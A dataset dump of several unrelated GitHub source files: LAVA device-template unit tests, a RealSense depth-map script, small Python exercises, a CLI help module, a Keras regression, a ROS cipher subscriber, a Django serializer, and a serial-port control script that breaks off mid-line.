{'lngswitch02': 10}} %}\n{% set tags = {'iface0': [], 'iface1': ['RJ45', '1G', '10G'], 'iface2': ['SFP+', '1G', '10G'], 'iface3': ['SFP+', '1G', '10G']} %}\n{% set mac_addr = {'iface0': '00:00:1a:1b:8b:f6', 'iface1': '00:00:1a:1b:8b:f7', 'iface2': '00:11:0a:68:94:30', 'iface3': '00:11:0a:68:94:31'} %}\n{% set interfaces = ['iface0', 'iface1', 'iface2', 'iface3'] %}\n{% set sysfs = {'iface0': '/sys/devices/platform/AMDI8001:00/net/',\n'iface1': '/sys/devices/platform/AMDI8001:01/net/',\n'iface2': '/sys/devices/pci0000:00/0000:00:02.1/0000:01:00.0/net/',\n'iface3': '/sys/devices/pci0000:00/0000:00:02.1/0000:01:00.1/net/'} %}\n{% set boot_character_delay = 100 %}\"\"\"\n self.assertTrue(self.validate_data('staging-overdrive-01', data))\n test_template = prepare_jinja_template('staging-overdrive-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n self.assertIn('parameters', template_dict)\n self.assertIn('interfaces', template_dict['parameters'])\n self.assertIn('actions', template_dict)\n self.assertIn('character_delays', template_dict)\n self.assertIn('boot', template_dict['character_delays'])\n self.assertEqual(100, template_dict['character_delays']['boot'])\n self.assertIn('iface2', template_dict['parameters']['interfaces'])\n self.assertIn('iface1', template_dict['parameters']['interfaces'])\n self.assertIn('iface0', template_dict['parameters']['interfaces'])\n self.assertIn('sysfs', template_dict['parameters']['interfaces']['iface2'])\n self.assertEqual(\n [check for check in template_dict['actions']['boot']['methods']['grub']['nfs']['commands'] if 'nfsroot' in check][0].count('nfsroot'),\n 1\n )\n self.assertIn(\n ' rw',\n [check for check in template_dict['actions']['boot']['methods']['grub']['nfs']['commands'] if 'nfsroot' in check][0]\n )\n\n def test_highbank_template(self):\n data = \"\"\"{% extends 'highbank.jinja2' %}\n{% set connection_command = 'ipmitool -I lanplus -U admin -P admin -H calxeda02-07-02 sol activate' %}\n{% set power_off_command = 'ipmitool -H calxeda02-07-02 -U admin -P admin chassis power off' %}\n{% set power_on_command = 'ipmitool -H calxeda02-07-02 -U admin -P admin chassis power on' %}\n{% set hard_reset_command = 'ipmitool -H calxeda02-07-02 -U admin -P admin chassis power off; sleep 20; ipmitool -H calxeda02-07-02 -U admin -P admin chassis power on' %}\"\"\"\n self.assertTrue(self.validate_data('highbank-07', data))\n test_template = prepare_jinja_template('highbank-07', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n self.assertEqual(template_dict['character_delays']['boot'], 100)\n self.assertEqual(template_dict['actions']['boot']['methods']['u-boot']['parameters']['bootloader_prompt'], 'Highbank')\n self.assertEqual(template_dict['actions']['boot']['methods']['u-boot']['parameters']['interrupt_char'], 's')\n\n def test_extended_x86_template(self):\n data = \"\"\"{% extends 'x86.jinja2' %}\n{% set map = {'MAC 94 (SFP+)': {'lngswitch02': 3},\n'MAC 95 (SFP+)': {'lngswitch02': 4},\n'MAC d6': {'lngswitch01': 12},\n'MAC d7': {'lngswitch01': 13},\n'MAC e8': {'lngswitch01': 11},\n'MAC e9': {'lngswitch01': 10},\n'MAC ea': {'lngswitch01': 9},\n'MAC eb': {'lngswitch01': 8}} %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --port 1 --hostname lngpdu01 --command reboot' %}\n{% set tags = {'MAC 94 (SFP+)': ['SFP+', '1G', '10G'],\n'MAC 95 (SFP+)': ['SFP+', '1G', '10G'],\n'MAC d6': ['RJ45', '10M', '100M', '1G'],\n'MAC d7': ['RJ45', '10M', '100M', '1G'],\n'MAC e8': [],\n'MAC e9': ['RJ45', '10M', '100M', '1G'],\n'MAC ea': ['RJ45', '10M', '100M', '1G'],\n'MAC eb': ['RJ45', '10M', '100M', '1G']} %}\n{% set interfaces = ['MAC eb',\n'MAC ea',\n'MAC e9',\n'MAC e8',\n'MAC d6',\n'MAC d7',\n'MAC 94 (SFP+)',\n'MAC 95 (SFP+)'] %}\n{% set sysfs = {'MAC 94 (SFP+)': '/sys/devices/pci0000:00/0000:00:01.0/0000:04:00.1/net/',\n'MAC 95 (SFP+)': '/sys/devices/pci0000:00/0000:00:01.0/0000:04:00.0/net/',\n'MAC d6': '/sys/devices/pci0000:00/0000:00:03.0/0000:07:00.0/net/',\n'MAC d7': '/sys/devices/pci0000:00/0000:00:03.0/0000:07:00.1/net/',\n'MAC e8': '/sys/devices/pci0000:00/0000:00:02.0/0000:03:00.0/net/',\n'MAC e9': '/sys/devices/pci0000:00/0000:00:02.0/0000:03:00.1/net/',\n'MAC ea': '/sys/devices/pci0000:00/0000:00:02.0/0000:03:00.2/net/',\n'MAC eb': '/sys/devices/pci0000:00/0000:00:02.0/0000:03:00.3/net/'} %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --port 1 --hostname lngpdu01 --command off' %}\n{% set mac_addr = {'MAC 94 (SFP+)': '38:ea:a7:93:98:94',\n'MAC 95 (SFP+)': '38:ea:a7:93:98:95',\n'MAC d6': 'a0:36:9f:39:0b:d6',\n'MAC d7': 'a0:36:9f:39:0b:d7',\n'MAC e8': 'd8:9d:67:26:ae:e8',\n'MAC e9': 'd8:9d:67:26:ae:e9',\n'MAC ea': 'd8:9d:67:26:ae:ea',\n'MAC eb': 'd8:9d:67:26:ae:eb'} %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --port 1 --hostname lngpdu01 --command on' %}\n{% set connection_command = 'telnet localhost 7301' %}\n{% set lava_mac = 'd8:9d:67:26:ae:e8' %}\"\"\"\n self.assertTrue(self.validate_data('staging-x86-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn(\n 'set console console=ttyS0,115200n8 lava_mac={LAVA_MAC}',\n template_dict['actions']['boot']['methods']['ipxe']['nfs']['commands'])\n context = {'extra_kernel_args': 'intel_mmio=on mmio=on'}\n rendered = test_template.render(**context)\n template_dict = yaml.load(rendered)\n self.assertIn(\n 'set extraargs root=/dev/nfs rw nfsroot={NFS_SERVER_IP}:{NFSROOTFS},tcp,hard,intr intel_mmio=on mmio=on ip=dhcp',\n template_dict['actions']['boot']['methods']['ipxe']['nfs']['commands'])\n\n def test_extra_nfs_opts(self):\n data = \"\"\"{% extends 'panda.jinja2' %}\n{% set connection_command = 'telnet serial4 7012' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command reboot --port 05' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command off --port 05' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command on --port 05' %}\"\"\"\n job_ctx = {}\n test_template = prepare_jinja_template('staging-panda-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n for line in template_dict['actions']['boot']['methods']['u-boot']['nfs']['commands']:\n if line.startswith(\"setenv nfsargs\"):\n self.assertIn(',tcp,hard,intr ', line)\n job_ctx = {'extra_nfsroot_args': ',nolock'}\n test_template = prepare_jinja_template('staging-panda-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n for line in template_dict['actions']['boot']['methods']['u-boot']['nfs']['commands']:\n if line.startswith(\"setenv nfsargs\"):\n self.assertIn(',tcp,hard,intr,nolock ', line)\n commands = template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']\n checked = False\n for line in commands:\n if 'setenv initrd_high' in line:\n checked = True\n self.assertTrue(checked)\n\n def test_juno_uboot_vland_template(self):\n data = \"\"\"{% extends 'juno-uboot.jinja2' %}\n{% set map = {'iface0': {'lngswitch03': 19}, 'iface1': {'lngswitch03': 8}} %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname lngpdu01 --command reboot --port 19' %}\n{% set tags = {'iface0': [], 'iface1': ['RJ45', '10M', '100M']} %}\n{% set interfaces = ['iface0', 'iface1'] %}\n{% set device_mac = '90:59:af:5e:69:fd' %}\n{% set sysfs = {'iface0': '/sys/devices/platform/ocp/4a100000.ethernet/net/',\n'iface1': '/sys/devices/platform/ocp/47400000.usb/47401c00.usb/musb-hdrc.1.auto/usb1/1-1/1-1:1.0/net/'} %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname lngpdu01 --command off --port 19' %}\n{% set mac_addr = {'iface0': '90:59:af:5e:69:fd', 'iface1': '00:e0:4c:53:44:58'} %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname lngpdu01 --command on --port 19' %}\n{% set connection_command = 'telnet localhost 7333' %}\n{% set exclusive = 'True' %}\"\"\"\n self.assertTrue(self.validate_data('staging-x86-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn('interfaces', template_dict['parameters'])\n self.assertIn('iface0', template_dict['parameters']['interfaces'])\n self.assertIn('port', template_dict['parameters']['interfaces']['iface0'])\n self.assertIn('target', template_dict['parameters']['interfaces'])\n self.assertIn('ip', template_dict['parameters']['interfaces']['target'])\n self.assertIsNone(template_dict['parameters']['interfaces']['target']['ip'])\n self.assertIsNotNone(template_dict['parameters']['interfaces']['target']['mac'])\n\n @unittest.skipIf(infrastructure_error('lxc-info'), \"lxc-info not installed\")\n def test_panda_lxc_template(self):\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n logger = logging.getLogger('unittests')\n logger.disabled = True\n logger.propagate = False\n logger = logging.getLogger('dispatcher')\n logging.disable(logging.DEBUG)\n logger.disabled = True\n logger.propagate = False\n data = \"\"\"{% extends 'panda.jinja2' %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command off --port 07' %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command reboot --port 07' %}\n{% set connection_command = 'telnet serial4 7010' %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command on --port 07' %}\"\"\"\n self.assertTrue(self.validate_data('staging-panda-01', data))\n test_template = prepare_jinja_template('staging-panda-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n fdesc, device_yaml = tempfile.mkstemp()\n os.write(fdesc, yaml.dump(template_dict))\n panda = NewDevice(device_yaml)\n lxc_yaml = os.path.join(os.path.dirname(__file__), 'devices', 'panda-lxc-aep.yaml')\n with open(lxc_yaml) as sample_job_data:\n parser = JobParser()\n job = parser.parse(sample_job_data, panda, 4577, None, \"\",\n output_dir='/tmp')\n os.close(fdesc)\n job.logger = DummyLogger()\n job.logger.disabled = True\n job.logger.propagate = False\n job.validate()\n\n def test_ethaddr(self):\n data = \"\"\"{% extends 'b2260.jinja2' %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --port 14 --hostname pdu18 --command reboot' %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --port 14 --hostname pdu18 --command off' %}\n{% set connection_command = 'telnet localhost 7114' %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --port 14 --hostname pdu18 --command on' %}\n{% set uboot_mac_addr = '00:80:e1:12:81:30' %}\n{% set exclusive = 'True' %}\"\"\"\n self.assertTrue(self.validate_data('staging-b2260-01', data))\n test_template = prepare_jinja_template('staging-b2260-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n ethaddr = False\n for command in template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']:\n if command.startswith('setenv ethaddr'):\n self.assertEqual(command, 'setenv ethaddr 00:80:e1:12:81:30')\n ethaddr = True\n self.assertTrue(ethaddr)\n ethaddr = False\n for command in template_dict['actions']['boot']['methods']['u-boot']['nfs']['commands']:\n if command.startswith('setenv ethaddr'):\n self.assertEqual(command, 'setenv ethaddr 00:80:e1:12:81:30')\n ethaddr = True\n self.assertTrue(ethaddr)\n\n def test_ip_args(self):\n data = \"\"\"{% extends 'arndale.jinja2' %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command off --port 07' %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command reboot --port 07' %}\n{% set connection_command = 'telnet serial4 7010' %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu15 --command on --port 07' %}\"\"\"\n self.assertTrue(self.validate_data('staging-arndale-01', data))\n test_template = prepare_jinja_template('staging-panda-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n for line in template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']:\n if line.startswith(\"setenv nfsargs\"):\n self.assertIn('ip=:::::eth0:dhcp', line)\n self.assertNotIn('ip=dhcp', line)\n elif line.startswith(\"setenv bootargs\"):\n self.assertIn(\"drm_kms_helper.edid_firmware=edid-1920x1080.fw\", line)\n\n def test_arduino(self):\n data = \"\"\"{% extends 'arduino101.jinja2' %}\n{% set board_id = 'AE6642EK61804EZ' %}\"\"\"\n self.assertTrue(self.validate_data('staging-arduino101-01', data))\n test_template = prepare_jinja_template('staging-arduino101-01',\n data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n self.assertEqual(template_dict['board_id'],\n 'AE6642EK61804EZ')\n self.assertEqual(template_dict['usb_vendor_id'],\n '8087')\n self.assertEqual(template_dict['usb_product_id'],\n '0aba')\n\n def test_d03(self):\n data = \"\"\"{% extends 'd03.jinja2' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command reboot --port 07' %}\n{% set grub_installed_device = '(hd2,gpt1)' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command off --port 07' %}\n{% set connection_command = 'telnet localhost 7001' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command on --port 07' %}\n{% set boot_character_delay = 30 %}\"\"\"\n self.assertTrue(self.validate_data('staging-d03-01', data))\n test_template = prepare_jinja_template('staging-d03-01',\n data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn('character_delays', template_dict)\n self.assertIn('boot', template_dict['character_delays'])\n self.assertNotIn('test', template_dict['character_delays'])\n self.assertEqual(30, template_dict['character_delays']['boot'])\n\n def test_nexus5x_template(self):\n self.assertTrue(self.validate_data('staging-nexus5x-01', \"\"\"{% extends 'nexus5x.jinja2' %}\n{% set adb_serial_number = '10de1214adae123' %}\n{% set fastboot_serial_number = '10de1214adae123' %}\n{% set device_info = [{'board_id': '10de1214adae123'}] %}\n\"\"\"))\n\n def test_pixel_template(self):\n self.assertTrue(self.validate_data('staging-pixel-01', \"\"\"{% extends 'pixel.jinja2' %}\n{% set adb_serial_number = 'FDAC1231DAD' %}\n{% set fastboot_serial_number = 'FDAC1231DAD' %}\n{% set device_info = [{'board_id': 'FDAC1231DAD'}] %}\n\"\"\"))\n","repo_name":"EmbeddedAndroid/lava-server","sub_path":"lava_scheduler_app/tests/test_templates.py","file_name":"test_templates.py","file_ext":"py","file_size_in_byte":47505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27565817466","text":"import cv2\nimport numpy as np \nimport pyrealsense2 as rs\n\nclass depthMap:\n\n def __init__(self):\n self.pipeline = rs.pipeline()\n self.config = rs.config()\n self.config.enable_stream(rs.stream.depth, 640, 360, rs.format.z16, 60) #360\n self.config.enable_stream(rs.stream.color, 960, 540, rs.format.bgr8, 60)\n self.align = rs.align(rs.stream.color)\n\n self.profile = self.pipeline.start(self.config)\n \n def _get_depth_map(self):\n frames = self.pipeline.wait_for_frames()\n aligned_frames = self.align.process(frames)\n\n color_frame = aligned_frames.get_color_frame()\n depth_frame = aligned_frames.get_depth_frame()\n\n color_frame_np = np.array(color_frame.get_data())\n depth_frame_np = np.array(depth_frame.get_data())\n \n return color_frame_np, depth_frame_np\n\n def _debug_show_frames(self, color_frame_np, depth_frame_np): \n depth_frame_16 = depth_frame_np\n df_dp = np.expand_dims(depth_frame_16, axis=-1).astype(np.uint8)\n df_dp = np.tile(df_dp, (1, 1, 3))\n depth_frame = depth_frame_16.astype(np.float32)\n cv2.imshow('color_debug',color_frame_np)\n cv2.imshow('depth_debug',depth_frame_np)\n\nif __name__ == '__main__':\n cam = depthMap()\n\n while(True):\n color_frame_np, depth_frame_np = cam._get_depth_map()\n cam._debug_show_frames(color_frame_np, depth_frame_np)\n if(cv2.waitKey(1) == 27):\n break\n \n\n cv2.destroyAllWindows()\n\n\n","repo_name":"alexlin2/RobotAI","sub_path":"src/depth_map.py","file_name":"depth_map.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73910652410","text":"import sys\nsys.stdin = open('input.txt', 'rt')\n\nn, k = map(int, input().split())\npatients = list(map(int, input().split()))\nnums = [i for i in range(len(patients))]\n\ncnt = 0\n\nwhile True:\n \n p = patients.pop(0)\n n = nums.pop(0)\n \n if p < max(patients):\n patients.append(p)\n nums.append(n)\n\n else:\n cnt += 1\n if n == k:\n break\n \nprint(cnt)\n ","repo_name":"haesung-j/Algorithms","sub_path":"Others/응급실.py","file_name":"응급실.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29467760310","text":"from utils import color\n\n\ndef spfc_opr(operator, key=None):\n\t'''\n\tUSE: help.opr(operator, [optional: key])\n\t\n\tDescription:\n\treturns the speciffic operator needed for the '--help' text.\n\t\n\tNotes:\n\t- if the key argument is passed as True, the function will return the key instead of the entry associeated with it.\n\t- if you wish to expand the aliases, simply add them to the corresponding list\n\t- if you add extra operators, make sure to add them here ad well as in help.dct() and the error.get() dictionary and the help.help() dictionary.\n\t'''\n\toperator = operator.lower()\n\tdictionary = {\n\t\t#speciffic op.\t| aliases\n\t\t'reg'\t\t\t: ['reg', 'rgstr', 'register'],\n\t\t'con'\t\t\t: ['con', 'conn', 'connect'],\n\t\t'cd'\t\t\t: ['cd','chdir'],\n\t\t'open'\t\t\t: ['open', 'op'],\n\t\t'ls'\t\t\t: ['ls', 'list', 'l', 'ls+', 'l+', \"list+\"],\n\t\t'srv'\t\t\t: ['srv', 'srvls', 'serverlist'],\n\t\t'mk'\t\t\t: ['mk','mkd ','mkdir ','makedir'],\n\t\t'add'\t\t\t: ['add', 'put '],\n\t\t'rm'\t\t\t: ['rm', 'delete', 'del', 'remove'],\n\t\t'mt'\t\t\t: ['mt', 'mount', 'mnt'],\n\t\t'mv'\t\t\t: ['mv', 'move'],\n\t\t'cp'\t\t\t: ['cp', 'copy'],\n\t\t'rn'\t\t\t: ['rn', 'rename'],\n\t\t'f'\t\t\t\t: ['f', 'find', 'locate', 'search'],\n\t\t'--help' \t\t: ['--help', '-help', 'help', 'hlp', '-h', 'h'],\n\t\t'quit'\t\t\t: ['quit','-quit ','exit ','-exit'],\n\t\t'clear'\t\t\t: ['clear', 'clc', 'c', 'clean'],\n\t\t'y'\t\t : ['y ','yes'],\n\t\t'n'\t\t : ['n ','no'],\n\n\t}\n\tfor k in dictionary:\n\t\tfor e in dictionary[k]:\n\t\t\tif operator == e:\n\t\t\t\tif key: #key = True\n\t\t\t\t\treturn k\n\t\t\t\telse: #key = False --> return entry\n\t\t\t\t\treturn dictionary[k]\n\treturn -1\n\t\ndef check_if_alias(operator, expected):\n\t'''\n\tUSE:\n\thelp.check_if_alias(some_operator, expected_operator)\n\t\n\tDescription:\n\tChecks if the given (first arg) operator is a alias of the expected_operator.\n\t'''\n\toperator = operator.lower()\n\tcheck = spfc_opr(operator)\n\tif check == -1 or expected not in check:\n\t\treturn False\n\telse:\n\t\treturn True\n\n\n\ndef dct(operator):\n\t'''\n\tUSE: help.dct(specific_operator)\n\t\n\tDescription:\n\treturns the '--help' text from a speciffic operator\n\t\n\tNotes:\n\t-The speciffic operator can be obtained with:\n\t\thelp.opr(operator)\n\t- if you add extra operators, make sure to add them here ad well as in help.spfc_opr() and the error.get() dictionary and the help.help() dictionary.\n\t'''\n\tdictionary = {\n\t\t#command |arguments\t\t\t\t\t|description\n\t\t'reg'\t : ['args: '\t\t,'Change the current working directory.'],\n\t\t'con'\t : ['args: '\t\t,'Change the current working directory.'],\n\t\t'cd' : ['args: '\t\t\t,'Change the current working directory.'],\n\t\t'open'\t : ['args: '\t ,'Opens the specified file.'],\n\t\t'ls' : ['args: [+]'\t\t,'List files and directories. If a + is appended to the commmand, additional info gets displayed.'],\n\t\t'srv'\t : ['args: None'\t\t\t\t,'Lists all remembered servers.'],\n\t\t'mk' : ['args: ','Creates a new folder in the current directory.'],\n\t\t'add'\t : ['args: []', 'Adds an existing file to the filesystem. If the second argument is empty, the file is copied to the root of the filesystem.'],\n\t\t'rm' : ['args: ','Remove a file or directory.'],\n\t\t'mt' : ['args: ???'\t\t\t\t\t,'Mounts an external filesystem, making it accessible and attaching it to your existing directory structure.'],\n\t\t'mv'\t : ['args: ','Moves an file/folder (and all subfolders and files if there are any) into the new location.'],\n\t\t'cp'\t : ['args: ','Copies an file/folder (and all subfolders and files if there are any) into the new location.'],\n\t\t'rn'\t : ['args: ','renames an file/folder.'],\n\t\t'f'\t \t : ['args: ','Finds a file/folder and returns its location. If -r argument is passed it searches all subfolders as well.'],\n\t\t'--help' : ['args: None' ,'Get list of all commands along with required or optional arguments.'],\n\t\t'quit' : ['args: None'\t\t\t\t,'Quits the program.'],\n\t\t'clear'\t : ['args: None'\t\t\t\t,'Clears the program terminal.'],\n\t\t'lines'\t : ['args: None'\t\t\t\t,'Count all lines in all .py in current directory.']\n\t}\n\treturn dictionary[operator]\n\n\n\ndef help():\n\t'''\n\tUSE: help.help()\n\t\n\tDescription:\n\treturns the '--help' text\n\t\n\tNotes:\n\tif you add extra operators, make sure to add them here ad well as in help.spfc_opr() and the error.get() dictionary and the help.dct() dictionary.\n\t'''\n\tcss_1='\\n\\n '\n\tcss_2='\\n '\n\tcommands = ['reg','con','cd','open','ls','srv','mk','add','rm','mt','mv','cp','rn','f','--help','quit','clear']\n\thelp = color.green('this is the --help section:')\n\tfor cmd in commands:\n\t\thelp += css_1 + '» ' + color.bold(str(spfc_opr(cmd, True))) + color.cyan(css_2 + 'aliases: ' + str(spfc_opr(cmd))) + css_2 + '' + color.yellow(dct(cmd)[0]) + css_2 + '' + color.grey(dct(cmd)[1])\n\treturn help\n\t\n\t\n\t\ndef helper(operator):\n\t'''\n\tUSE:\n\thelp.helper(operator)\n\t\n\tDescription:\n\treturns operator inormation as array:\n\t\t['arguments', 'description']\n\t'''\n\treturn dct(operator)\n\n\n\ndef helping(cmds):\n\t'''\n\tUSE:\n\thelp.helping(cmds)\n\t\n\tDescription:\n\tReturns the description of a speciffic operator\n\t'''\n\treturn (color.grey(' please use \"{0}\" as follows:\\n\\t{1}\\n Description:\\n\\t{2}'.format(cmds[0], helper(spfc_opr(cmds[0], True))[0], helper(spfc_opr(cmds[0], True))[1])))\n\n\n\t\n","repo_name":"cn-uofbasel/BACnet","sub_path":"20-hs-redez-sem/groups/02-unionDir/filesystem-redez-client/browser/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":5280,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"698942060","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.datasets import boston_housing\n\n(XTrain, YTrain),(XTest, YTest) = boston_housing.load_data()\n\nmyANN = Sequential()\nmyANN.add(Dense(10,input_dim=13,kernel_initializer=\"normal\",activation=\"relu\"))\nmyANN.add(Dense(10,kernel_initializer=\"random_uniform\",activation=\"relu\"))\nmyANN.add(Dense(1,kernel_initializer=\"normal\",activation=\"linear\"))\nmyANN.compile(loss=\"mean_squared_error\",optimizer=\"adam\")\nmyANN.fit(XTrain,YTrain, epochs=1000, verbose=True)\n\nyP = myANN.predict(XTest)\nerrorT = np.abs(yP-YTest)\nmeanE = np.mean(np.abs(errorT))\nmaxE = np.max(np.abs(errorT))\nminE = np.min(np.abs(errorT))\nprint(\"Mean: %e, Max: %e, Min: %e\" % (meanE,maxE,minE))\n","repo_name":"Adasek911/Keras-1","sub_path":"Keras-1/Keras_1.py","file_name":"Keras_1.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70876995772","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import String\n\n# cipher shift value \nSHIFT = 10\n\ndef callback(data):\n rospy.loginfo('word - [ %s ]. decrypted - [ %s ]', data.data, Decrypt(data.data))\n \ndef Decrypt(word):\n chars = list(word)\n decrypted_val = \"\"\n \n for char in chars:\n if char in '\\'?#$,\"./;:%^*&(){}[]':\n decrypted_value = char \n else:\n if char.isupper():\n decipher_value = chr((ord(char) + (26 - SHIFT) - 65) % 26 + 65)\n else: # lowecase\n decipher_value = chr((ord(char) + (26 - SHIFT) - 97) % 26 + 97)\n \n decrypted_val += decipher_value\n \n return decrypted_val\n\ndef listener():\n rospy.init_node('subscriber', anonymous=True)\n rospy.Subscriber('cipher', String, callback)\n rospy.spin()\n\nif __name__ == '__main__':\n listener()\n","repo_name":"yabetse/ros","sub_path":"scripts/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43162566579","text":"from rest_framework import serializers\nfrom .models import Subject\nfrom users.serializers import UserSerializer\n\n\nclass SubjectSerializer(serializers.ModelSerializer):\n teacher = UserSerializer(read_only=True)\n\n class Meta:\n model = Subject\n fields =[\n \"id\",\n \"name\",\n \"created_at\",\n \"updated_at\",\n \"teacher\"\n ]\n depth = 1\n\n read_only_fields = [\"id\", \"created_at\", \"updated_at\", \"teacher\"]","repo_name":"HigorSkw/school-project-backend","sub_path":"subjects/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37520576661","text":"#2. Write a recursive program which display below pattern.\r\n# input: 5\r\n# output: 1 2 3 4 5\r\n\r\ni=1\r\ndef show(no):\r\n global i \r\n if(i<=no):\r\n print(i, end = ' ')\r\n i=i+1\r\n show(no)\r\n\r\ndef main():\r\n n=int(input('enter a number: '))\r\n show(n)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"PranayHuskal/Code-part-1","sub_path":"Assignment5_2.py","file_name":"Assignment5_2.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37847796328","text":"T = int(input())\ndi = [0,1,0,-1] #i와 j의 방향 전환\ndj = [1,0,-1,0]\n\nfor test_case in range(1,T+1):\n N=int(input())\n \n i,j,cnt,dr = 0,0,1,0 # 초기화\n arr = [[0]*N for _ in range(N)] # 초기값이 0 인 배열 만들기 \n arr[i][j] = cnt \n cnt += 1\n \n while cnt<= N*N: #cnt의 값이 N*N보다 작은 범위\n ni = i + di[dr]#다음 i좌표\n nj = j + dj[dr]#다음 j좌표\n if 0<=ni,\\n\",\r\n \"driver_set_battery_charging_current\":\"16,6,0,34,,\\n\",\r\n}\r\n\r\nread_commands= {\r\n \"driver_read_frequency\" :\"15,03,17,01,00,01\\n\",\r\n \"driver_read_ref_dc_voltage\" :\"15,03,15,02,00,01\\n\",\r\n \"driver_dc_link_voltage\" :\"15,03,18,01,00,01\\n\",\r\n \"pv_power\" :\"16,04,00,04,00,01\\n\",\r\n \"pv_load_power\" :\"16,04,00,10,00,01\\n\",\r\n \"pv_read_holding_register\" :\"16,03,,,00,01\\n\"\r\n}\r\n\r\nreplies = {\r\n \"driver_run\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_stop\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_read_frequency\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_read_ref_dc_voltage\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_dc_link_voltage\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_set_ref_voltage\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"pv_power\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"pv_load_power\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"pv_read_holding_register\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n },\r\n \"driver_set_battery_charging_current\":{\r\n \"value\":None,\r\n \"time_stamp\": None\r\n }\r\n}\r\n\r\ndef execute_and_get_reply(command_key, is_write_command, value, wait_response_seconds):\r\n command_to_execute = write_commands[command_key] if is_write_command else read_commands[command_key]\r\n\r\n if(value != None):\r\n #value is 16 bit unsigned integer\r\n value = int(value)\r\n sig_byte = value>>8\r\n lst_byte = value%256\r\n\r\n command_to_execute = command_to_execute.replace(\"\",str(sig_byte))\r\n command_to_execute =command_to_execute.replace(\"\",str(lst_byte))\r\n\r\n serial_port.write(command_to_execute.encode('utf-8'))\r\n\r\n time.sleep(wait_response_seconds)\r\n buffer_str = serial_port.read_until('\\n').decode('utf-8') \r\n\r\n if 